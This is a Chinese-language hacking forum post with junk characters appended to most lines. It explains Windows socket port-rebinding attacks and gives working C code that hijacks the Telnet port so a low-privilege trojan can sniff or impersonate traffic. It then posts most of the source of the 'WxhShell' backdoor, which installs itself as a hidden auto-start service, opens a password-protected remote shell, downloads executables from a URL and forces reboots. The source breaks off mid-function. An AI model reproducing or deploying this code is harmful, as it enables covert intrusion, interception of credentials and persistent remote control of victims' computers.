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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S:j0&*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ";xEuX  
IpP0|:}  
  saddr.sin_family = AF_INET; Jzj~uz  
(Zn\S*_@/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S`^W#,rj  
9c6V&b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e8#3Y+Tc  
\r 2qH0B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2u:j6ic  
&ar}6eO  
  这意味着什么?意味着可以进行如下的攻击: .`p_vS9  
-,tYfQ;:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]aR4U`  
Ij8tBT?jlL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e{O5y8,  
2n=;"33%a  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {V&7JZl,/  
c%dy$mkqgK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r]S9z  
,ym;2hJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #(H_w4  
!L _ SHlU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uj@<_|7  
w\ :b(I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &|4Uo5qS=Z  
LNb![Rq  
  #include E6gEP0b  
  #include *LVM}| f  
  #include ww2Qa-K  
  #include    bi[l,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +g[B &A!d+  
  int main() K_aN7?#.v`  
  { {|%O)fr,  
  WORD wVersionRequested; Dfo9jYPf  
  DWORD ret; 8G P}g?%  
  WSADATA wsaData; ( A)wcB  
  BOOL val; #.)>geLC>9  
  SOCKADDR_IN saddr; ("6W.i>  
  SOCKADDR_IN scaddr; yd~fC:_ ]  
  int err; t;]egk  
  SOCKET s; bM-Rj1#Lo  
  SOCKET sc; s*f.` A*)  
  int caddsize; 12a #]E  
  HANDLE mt; ihWz/qx&q  
  DWORD tid;    R'/wOE2  
  wVersionRequested = MAKEWORD( 2, 2 ); )8SP$  
  err = WSAStartup( wVersionRequested, &wsaData ); {+:XVT_+  
  if ( err != 0 ) { &>{>k<z  
  printf("error!WSAStartup failed!\n"); sdWl5 "  
  return -1; :ct+.#  
  } \gkajY-?  
  saddr.sin_family = AF_INET; dWy1=UQfP  
   cZ>W8{G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L'Zud,JKg  
3c3Z"JV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3Y-v1.^j  
  saddr.sin_port = htons(23); nS4S[|w"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E2IVR]C2^  
  { q1Sm#_7  
  printf("error!socket failed!\n"); -#6*T,f0P(  
  return -1; )mdNvb[*n  
  } ];;w/$zke  
  val = TRUE; `1@[uWl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 DcA'{21  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !&lPdEc@T  
  { njMy&$6a##  
  printf("error!setsockopt failed!\n"); ~P_kr'o  
  return -1; P{eRDQ=  
  } #pSOZX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oDUMoX%4s  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oNZ W#<K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [{F7Pc  
!@ {[I:5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SZ{cno1`  
  { ]gksyxn3  
  ret=GetLastError(); 6 W;k IoB  
  printf("error!bind failed!\n"); C4tl4df9  
  return -1; E{ s|#  
  } l|A8AuO*?  
  listen(s,2); zDyeAxh4  
  while(1) xUi!|c  
  { QJWES%m`  
  caddsize = sizeof(scaddr); &o@5%Rz2/  
  //接受连接请求 k+$4?/A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PAV2w_X~  
  if(sc!=INVALID_SOCKET) 3gy;$}Lq T  
  { NRSse"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QV$dKjMS  
  if(mt==NULL) Vor9 ?F&w  
  { p,\bez  
  printf("Thread Creat Failed!\n"); {K4t8T]  
  break; 2bnIT>(  
  } X#,[2&17Fh  
  } 7 afA'.=  
  CloseHandle(mt); -Y?(Zz_w  
  } KHz838C]  
  closesocket(s); dY@Tt&k8E  
  WSACleanup(); ]wpYxos  
  return 0; }]+}Tipd  
  }   G@EjWZQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y0O<]2yVx  
  { -#;VFSz,9*  
  SOCKET ss = (SOCKET)lpParam; oy bzD  
  SOCKET sc; ( L\G!pP.  
  unsigned char buf[4096]; s4`*0_n  
  SOCKADDR_IN saddr; |/=p  
  long num; n UCk0:{  
  DWORD val; YCBML!L  
  DWORD ret; rqe_zyc&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6XL9 qb~X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >ha Ixs`9  
  saddr.sin_family = AF_INET; zMzf=~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b%f2"e0g  
  saddr.sin_port = htons(23); 1=5'R/k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w^E]N  
  { x ETVt q  
  printf("error!socket failed!\n"); R 4QwWSBJ  
  return -1; e=)* O  
  } ZX6=D>)u  
  val = 100; _AHB|P I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3KFrVhB=  
  { *Gh8nQbh  
  ret = GetLastError(); 1qKxg  
  return -1; k>;r9^D  
  } i -s?"Fk  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f9XO9N,hE:  
  { :G=1$gb  
  ret = GetLastError(); gc:p@<  
  return -1; Y1_6\zpA  
  } lPQ Ut!xI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VfC[U)w*vm  
  { .y_bV=  
  printf("error!socket connect failed!\n"); \3(| c#c  
  closesocket(sc); d>b,aj(  
  closesocket(ss); NT9- j#V  
  return -1; !na0Y  
  } t2%@py*bU  
  while(1) 2X;0z$  
  { y#Za|nt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &T/q0bwd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^_S-s\DW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K6yFpVl  
  num = recv(ss,buf,4096,0); UNcJ=   
  if(num>0) ,iv%^C",)  
  send(sc,buf,num,0); {S"  
  else if(num==0) 2\CkX  
  break; ]G o~]7(5|  
  num = recv(sc,buf,4096,0); l)rvh#D  
  if(num>0) :f !=_^}  
  send(ss,buf,num,0); @uM3iO7&  
  else if(num==0) k#:@fH4{PA  
  break; vl{_M*w ;  
  } m57tO X  
  closesocket(ss); OG?j6q hpl  
  closesocket(sc); tqwk?[y}+l  
  return 0 ; ];{l$-$$  
  } O$umu_  
L!b0y7yR  
)"c]FI[}  
========================================================== L1!hF3G  
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下边附上一个代码,,WXhSHELL GKsL~;8"  
)bCG]OM7<  
========================================================== Rw ao5l=x  
cM<hG:4%wX  
#include "stdafx.h" 0@e}hv;  
CWe>jlUQ  
#include <stdio.h> Zc\h15+P  
#include <string.h> 0O['-x  
#include <windows.h> Jyz$&jqyr'  
#include <winsock2.h> EBDC'^  
#include <winsvc.h> 5IE+M  
#include <urlmon.h> uM#U!  
>gZk 581/  
#pragma comment (lib, "Ws2_32.lib") gC_s\WU  
#pragma comment (lib, "urlmon.lib") 6(q`Oj  
X?v ^>mA  
#define MAX_USER   100 // 最大客户端连接数 5)>ZO)F&  
#define BUF_SOCK   200 // sock buffer &(uF&-PwO4  
#define KEY_BUFF   255 // 输入 buffer o )nT   
!Nxn[^[?.  
#define REBOOT     0   // 重启 @F(3*5c_Y  
#define SHUTDOWN   1   // 关机 =y-!k)t  
?Str*XA;  
#define DEF_PORT   5000 // 监听端口 Rqb{)L X*  
?4,*RCaI  
#define REG_LEN     16   // 注册表键长度 ~q]|pD"\K|  
#define SVC_LEN     80   // NT服务名长度 :a f;yu  
"U5Ln2X{J  
// 从dll定义API }2BH_  2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [>M*_1F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cxP9n8CuT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mb~=Xyk&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z^a!C#IX  
ahi57r[  
// wxhshell配置信息 C@UJOB  
struct WSCFG { 6PQJgki  
  int ws_port;         // 监听端口 z5yb$-j  
  char ws_passstr[REG_LEN]; // 口令 kTi PZZI  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]dGr1 ncu  
  char ws_regname[REG_LEN]; // 注册表键名 kO,VayjT  
  char ws_svcname[REG_LEN]; // 服务名 i^s`6:rNu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ghJ,s|lH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Gkodk[VuLs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ll<9f)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b!^M}s6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [nN\{"~O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \Sq"3_m4T  
r_V2 J{B  
}; EYJi6#  
Ot2zhR )  
// default Wxhshell configuration mOz&6T<|  
struct WSCFG wscfg={DEF_PORT, p'%: M  
    "xuhuanlingzhe", uku}Mr"p  
    1, lEyG9Xvi  
    "Wxhshell", FUzMc1zy|  
    "Wxhshell", 6Bq~\b^  
            "WxhShell Service", l#5~ t|\  
    "Wrsky Windows CmdShell Service", R!_8jD:$  
    "Please Input Your Password: ", -e`oW.+  
  1, V$-~%7@>;9  
  "http://www.wrsky.com/wxhshell.exe", 1|l)gfcP  
  "Wxhshell.exe" VT5cxB<  
    }; <>T&ab@dE(  
*b6I%MZn  
// 消息定义模块 d Ik8TJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fOK+DT~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9Ew:.&d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rekb?|{z  
char *msg_ws_ext="\n\rExit."; p29yaM  
char *msg_ws_end="\n\rQuit."; ,{uW8L  
char *msg_ws_boot="\n\rReboot..."; 6HEqm>Yau  
char *msg_ws_poff="\n\rShutdown..."; Ha=_u+@  
char *msg_ws_down="\n\rSave to "; 'd2qa`H'}B  
} :RT,<  
char *msg_ws_err="\n\rErr!"; %EJ\|@N:  
char *msg_ws_ok="\n\rOK!"; pT3X/ ra  
c4ZuW_&:  
char ExeFile[MAX_PATH]; T<TcV9vM  
int nUser = 0; _X,[]+ziu%  
HANDLE handles[MAX_USER]; 8z."X$  
int OsIsNt; 7|+|\ 7l#  
,TKs/-_?  
SERVICE_STATUS       serviceStatus; ~$&:NB1~q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d4y9AE@k  
FUyB"-<  
// 函数声明 s.R-<Y 3  
int Install(void); 68koQgI[^  
int Uninstall(void); |b$>68:  
int DownloadFile(char *sURL, SOCKET wsh); F}6DB*  
int Boot(int flag); wDT>">&d  
void HideProc(void); Z{,GZT  
int GetOsVer(void); 3wN?|N  
int Wxhshell(SOCKET wsl); 0|fb< "  
void TalkWithClient(void *cs); n) _dH/"  
int CmdShell(SOCKET sock); ;t;Y.*&=S  
int StartFromService(void); PJxak3  
int StartWxhshell(LPSTR lpCmdLine); VxkCK02k  
Z>(r9 R3{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z.2r@Psk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (|0.m8D~D  
E ;BPN  
// 数据结构和表定义 sJ))<,e5I  
SERVICE_TABLE_ENTRY DispatchTable[] = [K cki+  
{ V>b2b5QAH,  
{wscfg.ws_svcname, NTServiceMain}, }J ei$0x  
{NULL, NULL} '%zN  
}; F`Dg*O  
]^J+-c  
// 自我安装 v`#j  
int Install(void) KGV.S  
{ !US8aT  
  char svExeFile[MAX_PATH]; H&w:`JYDL3  
  HKEY key; w(76H^e  
  strcpy(svExeFile,ExeFile); ID67?:%r  
K3vseor  
// 如果是win9x系统,修改注册表设为自启动 8 uDerJ!  
if(!OsIsNt) { jd%Len&p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n S_Ta  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @~m=5C  
  RegCloseKey(key); GVmC }>z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0bMoUy*q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G(U9rJ9  
  RegCloseKey(key); lLb:f6N  
  return 0; @s_3 0+  
    } _GVE^yW~z  
  } U@Z>/ q  
} g M4Pj[W  
else { yfmp$GO:  
o&(wg(Rv  
// 如果是NT以上系统,安装为系统服务 >5)<Uv$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D(y+1^>  
if (schSCManager!=0)  f~w>v  
{ Y/. AUN Z  
  SC_HANDLE schService = CreateService LHs-&  
  ( V ]79vC  
  schSCManager, aWyUu/g<A`  
  wscfg.ws_svcname,  !M  
  wscfg.ws_svcdisp, Ye9Y^+-  
  SERVICE_ALL_ACCESS, x(L(l=^"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , , N53Iic  
  SERVICE_AUTO_START, ?Bo?JMV  
  SERVICE_ERROR_NORMAL, =43I1&_   
  svExeFile, "(s6aqO$  
  NULL, K&=D-50%  
  NULL, PJzc=XPU  
  NULL, ^_v[QV  
  NULL, AY#wVy  
  NULL y|$R`P  
  ); *)u?~r(F  
  if (schService!=0) "\e:h| .G  
  { $}t=RW  
  CloseServiceHandle(schService); Pm4e8b  
  CloseServiceHandle(schSCManager); 3sH\1)Zz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g>so R&*  
  strcat(svExeFile,wscfg.ws_svcname); Vy__b=ti?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !; IJ   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9A~>`.y  
  RegCloseKey(key); .%q$d d>>  
  return 0; JPEIT  
    } tR kF   
  } (a[.vw^g  
  CloseServiceHandle(schSCManager); a6%@d_A  
} bW53" `X  
} v? L  
MDJc[am  
return 1; (8.{+8o  
} |^R*4;Phe  
((XE\V\}Z  
// 自我卸载 "e 1wr  
int Uninstall(void) *h$&0w y  
{ cJCU*(7&  
  HKEY key; k<H%vg>{~s  
\)OEBN`9#  
if(!OsIsNt) { !xu9+{-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cFK @3a  
  RegDeleteValue(key,wscfg.ws_regname); *i^`Dw^~y  
  RegCloseKey(key); h4_ b!E@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [)^mBVht  
  RegDeleteValue(key,wscfg.ws_regname); GF8 -_X  
  RegCloseKey(key); we3tx{j  
  return 0; hq=,Z1J  
  } Ojq]HM6f  
} zJ+3g!  
} mzWP8Hlw  
else { l _+6=u  
N2BI_,hI1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z|G/^DK!  
if (schSCManager!=0) `H>b5  
{ t2- ^-g6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  FZ F @  
  if (schService!=0) [#Y' dFQ  
  { RT^v:paNT2  
  if(DeleteService(schService)!=0) { ^"9* 'vTtc  
  CloseServiceHandle(schService); Rf)ke("  
  CloseServiceHandle(schSCManager); .[?BlIlm  
  return 0; R_^/,^1  
  } 0"78/6XIs  
  CloseServiceHandle(schService); _T5)n=|  
  } p~&BChBl!=  
  CloseServiceHandle(schSCManager); SRZL\m}  
} U3E&n1AA  
} pj0fM{E  
S,''>`w  
return 1; 5{d\u E%'p  
} %d1draL  
 |t))u`~  
// 从指定url下载文件 * RWm47  
int DownloadFile(char *sURL, SOCKET wsh) /)EY2Y'  
{ EF#QH _X  
  HRESULT hr; [ %}u=}@  
char seps[]= "/"; UL( lf}M  
char *token; j?6X1cMq  
char *file; I9Eu',  
char myURL[MAX_PATH]; Kc #|Z  
char myFILE[MAX_PATH]; ecj7BT[mLI  
Dzl;-]S  
strcpy(myURL,sURL); o%`Xa#*Ly  
  token=strtok(myURL,seps); im]g(#GnKh  
  while(token!=NULL) G,XPT,:%  
  { d;7 uFh|o  
    file=token; m} 3gZu]  
  token=strtok(NULL,seps); <@G8ni  
  } ?<U{{ C  
wJeG(h  
GetCurrentDirectory(MAX_PATH,myFILE); Md,pDWb  
strcat(myFILE, "\\"); v .=/Y(J  
strcat(myFILE, file); h1[WhBL-O  
  send(wsh,myFILE,strlen(myFILE),0); QJn`WSw$_-  
send(wsh,"...",3,0); C3XmK}h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ff e1lw%  
  if(hr==S_OK) :K':P5i  
return 0; geM6G$V&  
else kM/Te{<  
return 1; EpYy3^5d  
UG;Y^?Ppe5  
} x;LzG t:w  
jZpa0grA  
// 系统电源模块 9zBMlc$X  
int Boot(int flag) X[](Kj^`<  
{ :7g=b%;  
  HANDLE hToken; VsK>6S\T  
  TOKEN_PRIVILEGES tkp; 80pid[F  
F'JY?  
  if(OsIsNt) { eq[Et +  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &QNY,Pj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aG+j9Q_  
    tkp.PrivilegeCount = 1; 5D Y\:AF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W_`A"WdT.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l@JSK ;  
if(flag==REBOOT) { lFSe?X^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p|+B3  
  return 0; $t~@xCi]S  
} ememce,Np  
else { l;A,0,i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p\p\q(S">  
  return 0; l?8M p$M  
} 5J2=`=FK  
  } 1ocJ+  
  else { ;CHi\+` 5  
if(flag==REBOOT) { ~utJB 'gr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ziE*'p  
  return 0; tV;`fV   
} Y&HK1>M_  
else { o%E;3l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uI~S=;o  
  return 0; 3+Qxg+<  
} en F:>H4  
} E.`U`L  
qZv =  
return 1; laKuOx}  
} Pmg)v!"  
.@q-B+Eg  
// win9x进程隐藏模块 iRV~Il#~!  
void HideProc(void) FR[ B v  
{ uX/$CM  
;%C'FV e]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v``-F(i$  
  if ( hKernel != NULL ) @f+8%I3D  
  { oR1^/e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5yZTcS z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -]uUYe c  
    FreeLibrary(hKernel); I<td1Y1q  
  } y&m0Lz53Z  
>'uU)Y {  
return; }A=y=+4 j  
} 4+$b~ u  
^ KK_qC  
// 获取操作系统版本 |'O[7uT  
int GetOsVer(void) TjMe?p  
{ h%; e0Xz|  
  OSVERSIONINFO winfo; X?:o;wB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); / $  :j  
  GetVersionEx(&winfo); "@A![iP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0MMEo~dih  
  return 1; s=6}%%q6  
  else B(?Yw>Xd[  
  return 0; GQQ.OvEc  
} 9>zcBG8f  
.nu @ o40  
// 客户端句柄模块 T<3BT  
int Wxhshell(SOCKET wsl) fKC3-zm  
{ =<r8fXWZ  
  SOCKET wsh; >(w2GD?  
  struct sockaddr_in client; `afIYXP  
  DWORD myID; U[L9*=P;  
 VGHWNMT  
  while(nUser<MAX_USER) s>k Uh  
{ 7|\@zQ h   
  int nSize=sizeof(client); `\`>0hlu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ho DVn/lr  
  if(wsh==INVALID_SOCKET) return 1; u] :m"L M  
}8|[;Qa`y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /={Js*  
if(handles[nUser]==0) j*"3t^|-  
  closesocket(wsh); &8&d3EQ  
else .:p2Tbo  
  nUser++; 'i;|c  
  } /-bF$)vN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8.' #?]a  
]5~s "fnG  
  return 0; \!IMaB]  
} \^(0B8|w  
9a\nszwa  
// 关闭 socket JO=[YoTr  
void CloseIt(SOCKET wsh) |(m oWY=  
{ IK,|5]*Ar  
closesocket(wsh); D|Iur W1f  
nUser--; %75xr9yOP  
ExitThread(0); }i {sg#  
} dzK{ Z  
[b{CkX06  
// 客户端请求句柄 aQ^umrj@?9  
void TalkWithClient(void *cs) )"f N!9,F  
{ 4'$g(+z  
?D,=37  
  SOCKET wsh=(SOCKET)cs; J PyOG _h  
  char pwd[SVC_LEN]; 1O].v&{  
  char cmd[KEY_BUFF]; kGpa\c g1  
char chr[1]; (b?{xf'G  
int i,j; +3s%E{  
M(#m0x B  
  while (nUser < MAX_USER) { u2oKH{/z  
ikWtC]y  
if(wscfg.ws_passstr) { DeR='7n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PH"hn]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vpy 2\wZWb  
  //ZeroMemory(pwd,KEY_BUFF); DG4 d"Jy  
      i=0; #;n +YM">:  
  while(i<SVC_LEN) { `V)Z)uN{0  
pa}*E  
  // 设置超时 Z_\C*^  
  fd_set FdRead; ?JL7=o X  
  struct timeval TimeOut; J=.`wZQkS  
  FD_ZERO(&FdRead);  ^p n(=4  
  FD_SET(wsh,&FdRead); tiN?/  
  TimeOut.tv_sec=8; b:qY gg  
  TimeOut.tv_usec=0; 2G$SpfeIu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pg]BsJN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,-x!$VqS  
OD' ]:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1B),A~Ip  
  pwd=chr[0]; tXJU vish  
  if(chr[0]==0xd || chr[0]==0xa) { BCe_@  
  pwd=0; G'YH6x,  
  break; omWJJ|b~  
  } ikE<=:pe  
  i++; .jy]8S8[|%  
    } vI$t+m:  
%|G"-%_E  
  // 如果是非法用户,关闭 socket Ax!+P\\2~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7'NwJ,$6\  
} ~Lc066bLeq  
Y+K|1r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Vh}SCUof'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x0 d~i!d  
9qS"uj  
while(1) { cRX~z  
lL]y~u  
  ZeroMemory(cmd,KEY_BUFF); L[5=h  
d #jK=:eK  
      // 自动支持客户端 telnet标准   Z|RY2P>E  
  j=0; P/&]?f0/  
  while(j<KEY_BUFF) { ''\;z<v   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &3J@BMYp  
  cmd[j]=chr[0]; drs B/  
  if(chr[0]==0xa || chr[0]==0xd) { -W,}rcj*|  
  cmd[j]=0; (C]o,7cYS  
  break; 29XL$v],  
  } ? FfC  
  j++; wP"dZagpj  
    } Qr  Wj>uR  
K't]n{$  
  // 下载文件 bQ|V!mrN}  
  if(strstr(cmd,"http://")) { Be+0NXLVy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %e*@CbO$  
  if(DownloadFile(cmd,wsh)) 5SkW-+$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5>AX*]c  
  else T{wuj[ Q#:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u&wiGwF[  
  } )Ud-}* g  
  else { L@JOGCYy  
W2uOR{ '?  
    switch(cmd[0]) { p&VU0[LIC0  
  :!zl^J;  
  // 帮助 ko5V9Drc  
  case '?': { bI|2@H V2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #97h6m?  
    break; |d6T/Uxo  
  } u{["50~  
  // 安装 # p[',$cC  
  case 'i': { tE7[Smzuf  
    if(Install()) :x_'i_w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TIvRhbu  
    else 'mV9{lj7E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); If%/3UJ@  
    break; 'U'yC2BI n  
    } #nh|=X  
  // 卸载 1 hg}(Hix  
  case 'r': { JmEj{K<3I  
    if(Uninstall()) F:mq'<Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Ia($.1mY  
    else q\H[am  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iX3HtIBj'  
    break; N>>uCkC  
    } tDAhyy73  
  // 显示 wxhshell 所在路径 "fq{Y~F%`  
  case 'p': { C!7>1I~5  
    char svExeFile[MAX_PATH]; <]G]W/eB'  
    strcpy(svExeFile,"\n\r"); ;NlWb =  
      strcat(svExeFile,ExeFile); Ie%EH  
        send(wsh,svExeFile,strlen(svExeFile),0); /r_~: 3F  
    break; s=42uKz  
    } n("0%@ov  
  // 重启 " LJq%E  
  case 'b': { XkyKBg-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n@G[  
    if(Boot(REBOOT)) >ooZj9:'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "n*~Mj Ny  
    else { +Jr|z\  
    closesocket(wsh); p<:!)kt  
    ExitThread(0); "W(Q%1!Wi  
    } jv&!Kw.Ug  
    break; fxT-j s#S  
    } %w7]@VZ  
  // 关机 /a6Xa&(B  
  case 'd': { '}Ri`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S]E.KLR?[;  
    if(Boot(SHUTDOWN)) I" KN"v^  
